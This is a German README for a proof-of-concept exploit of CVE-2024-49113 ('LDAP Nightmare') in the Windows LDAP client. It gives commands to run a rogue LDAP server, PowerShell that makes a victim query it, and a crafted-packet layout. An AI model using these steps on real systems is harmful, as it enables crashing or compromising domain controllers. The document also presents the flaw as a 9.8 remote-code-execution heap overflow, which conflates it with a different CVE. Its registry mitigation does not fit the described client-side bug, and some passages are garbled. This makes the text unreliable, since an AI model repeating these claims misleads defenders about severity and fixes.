
Reproduktion von cve-2024-49113-ldap_nightmare_reproduction
| Feld | Wert |
|---|
| CVE | CVE-2024-49113 |
| Alias | LDAP Nightmare |
| CVSS 3.1 | 9.8 — KRITISCH |
| CWE | CWE-122 — Heap-basierter Pufferüberlauf |
| Entdeckt | SafeBreach (PoC im Januar 2025 veröffentlicht) |
| Ausnutzung | Aktive Ausnutzung in freier Wildbahn bestätigt |
| Patch | Microsoft Patch-Tuesday Dezember 2024 (KB5048685 / KB5048652) |
CVE-2024-49113 ist eine kritische, heap-basierte Pufferüberlauf-Schwachstelle in der Windows-LDAP-Clientbibliothek (wldap32.dll). Ein nicht authentifizierter, entfernter Angreifer kann die Schwachstelle auslösen, indem er eine speziell gestaltete LDAP-Antwort an einen betroffenen Windows-Computer sendet, der eine LDAP-Abfrage durchführt (z. B. einen Domänencontroller, der Verzeichnisabfragen ausführt).
Da Windows-Domänencontroller routinemäßig LDAP-Abfragen an andere Domänencontroller, Mitgliedsserver und globale Katalogserver senden, ist dieser Fehler in Active-Directory-Umgebungen besonders gefährlich. Eine erfolgreiche Ausnutzung führt zu Remotecodeausführung im Kontext des Local-System-Kontos (auf Domänencontrollern), wodurch der Angreifer die volle Kontrolle über den Zielserver erlangt.
Der öffentliche Proof-of-Concept (genannt „LDAP Nightmare“) wurde von SafeBreach im Januar 2025 veröffentlicht, nachdem Microsoft im Patch-Tuesday Dezember 2024 Korrekturen ausgeliefert hatte.
Die Schwachstelle befindet sich in wldap32.dll – der Windows-Implementierung des LDAP-Clients (Lightweight Directory Access Protocol) gemäß RFC 4511.
Wenn ein LDAP-Client eine Search-Result-Entry-Antwort empfängt, parst die Bibliothek die Protocol Data Units (PDUs) der LDAP-Nachricht in einer BER-Decoder-Schleife (Basic Encoding Rules). Ein Fehler in der Heap-Speicherzuweisungslogik beim Parsen von LDAP-Attributwerten führt dazu, dass der Decoder Daten über die Grenzen eines heap-weise zugewiesenen Puffers hinaus schreibt.
Im Einzelnen:
Alle unterstützten Editionen von Windows Server und Windows Client sind vor den Sicherheitsupdates vom 10. Dezember 2024 verwundbar:
Die Patch-Tuesday-Updates vom Dezember 2024, die diese CVE beheben, sind:
┌──────────────────┐ LDAP Query ┌─────────────────────┐
│ Victim Host │ ──────────────────────────▶ │ Attacker LDAP │
│ (Windows DC) │ │ Server (This PoC) │
│ │ ◀────────────────────────── │ │
│ wldap32.dll │ Crafted LDAP Response │ exploit.py │
│ overflowed │ (heap overflow payload) │ port 389 │
└──────────────────┘ └─────────────────────┘
Auf dem Opfer die installierten KBs überprüfen:
Get-HotFix | Where-Object { $_.HotFixID -match "KB5048685|KB5048652" }
Wenn keine Ergebnisse zurückgegeben werden, ist das System ungepatcht und verwundbar.
Auf dem Angreifer-Rechner diesen PoC ausführen:
python exploit.py --listen-ip 192.168.1.100 --listen-port 389
Wobei 192.168.1.100 die IP-Adresse des Angreifers ist.
Hinweis: Unter Linux erfordert das Binden an Port 389 Root-Rechte (sudo). Unter Windows können Administratorrechte erforderlich sein.
Vom Opfer-Rechner aus (PowerShell, als Administrator):
# Force an LDAP search against the attacker server
$ldapPath = "LDAP://192.168.1.100/DC=evil,DC=local"
$searcher = New-Object DirectoryServices.DirectorySearcher($ldapPath)
$searcher.Filter = "(objectClass=*)"
$searcher.SearchRoot = $null
try {
$results = $searcher.FindAll()
} catch {
Write-Host "Connection attempted — check the PoC server for crash details"
}
Alternativ kann ldp.exe verwendet werden (im Lieferumfang von Windows Server / RSAT enthalten):
DC=evil,DC=local[*] Sending malicious search result entry... aus und sendet die manipulierte Antwort.lsass.exe-Prozess des Opfers oder der LDAP-Clientprozess mit einer Zugriffsverletzung (0xC0000005) ab, oder das System zeigt einen BSOD.Ein Dockerfile ist enthalten, um den PoC in einer isolierten Umgebung auszuführen:
docker build -t ldap-nightmare .
docker run --rm -p 389:389 --cap-add=NET_ADMIN ldap-nightmare
Der enthaltene exploit.py implementiert:
--listen-ip, --listen-port, --payload-size).| Offset | Feld | Wert |
|---|---|---|
| 0x00 | LDAP-Nachrichten-Tag (0x30) | Sequenz |
| 0x01–0x02 | Gesamtlänge (manipuliert) | Großer Wert löst Überlauf aus |
| 0x03 | ProtocolOp (0x64) | Search-Result-Entry |
| 0x04–0x0E | LDAP-Ergebnisfelder | Standard-Header |
| 0x0F+ | Attributliste | Überlauf-Auslöser (Länge = 0xFFFF) |
# Start the malicious server
sudo python exploit.py --listen-ip 0.0.0.0 --listen-port 389
# In another terminal, watch for connections
tcpdump -i any port 389 -X
Installieren Sie die Patch-Tuesday-Updates vom 10. Dezember 2024:
Falls der Patch nicht sofort angewendet werden kann:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2 -Type DWord
Restart-Service NTDS
wevtutil qe "Windows PowerShell" /f:text /q:"*[System[EventID=1000]]"
| Quelle | URL |
|---|---|
| Microsoft Security Response Center | MSRC CVE-2024-49113 |
| SafeBreach (ursprüngliche Entdeckung) | SafeBreach-Blog — LDAP Nightmare |
| NVD | NVD CVE-2024-49113 |
| CWE-122 | Heap-basierter Pufferüberlauf |
| RFC 4511 | LDAPv3-Protokoll |
| Patch-Tuesday Dezember 2024 | Microsoft-Versionshinweise |
Dieses Material dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests. Die unbefugte Ausnutzung von CVE-2024-49113 gegen Systeme ohne ausdrückliche Genehmigung ist illegal. Die Autoren übernehmen keine Verantwortung für einen Missbrauch dieser Informationen. Holen Sie vor dem Testen eines Systems stets eine schriftliche Genehmigung ein.